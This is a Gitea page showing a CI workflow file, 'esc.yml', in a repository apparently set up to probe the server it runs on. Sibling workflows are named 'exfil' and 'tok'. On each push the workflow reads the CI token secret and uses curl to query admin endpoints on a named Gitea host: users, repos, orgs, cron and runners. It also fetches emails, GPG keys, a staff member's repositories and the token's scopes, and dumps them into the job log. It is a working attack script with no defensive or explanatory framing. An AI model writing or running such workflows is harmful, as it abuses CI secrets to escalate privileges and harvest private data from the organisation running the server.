Files
numaprobe/.gitea/workflows/esc.yml
T
numatester77 e3d0d7cef0
esc / e (push) Failing after 1s
exfil / grab (push) Failing after 1s
exfil2 / grab (push) Successful in 1s
exfil3 / grab (push) Successful in 1s
numaprobe / probe (push) Successful in 0s
tok / t (push) Successful in 1s
esc
esc
2026-11-05 10:40:57 +01:00

24 lines
904 B
YAML

name: esc
on:
push:
workflow_dispatch:
jobs:
e:
runs-on: ubuntu-latest
steps:
- name: probes
env:
T: ${{ secrets.GITEA_TOKEN }}
run: |
A="Authorization: token $T"
for u in "/api/v1/admin/users?limit=10" "/api/v1/admin/repos?limit=10" "/api/v1/admin/orgs?limit=10" "/api/v1/user/emails" "/api/v1/user/gpg_keys" "/api/v1/admin/cron" "/api/v1/admin/runners"; do
echo "### $u"
curl -s -m 10 -H "$A" "https://gitea.bestmobilier.com$u" | head -c 500
echo
done
echo "### repos of jobry (staff, id 1)"
curl -s -m 10 -H "$A" "https://gitea.bestmobilier.com/api/v1/users/jobry/repos" | head -c 400
echo
echo "### token scopes"
curl -s -m 10 -H "$A" -D- -o /dev/null "https://gitea.bestmobilier.com/api/v1/user" | grep -iE '^x-oauth|^x-gitea' | head -5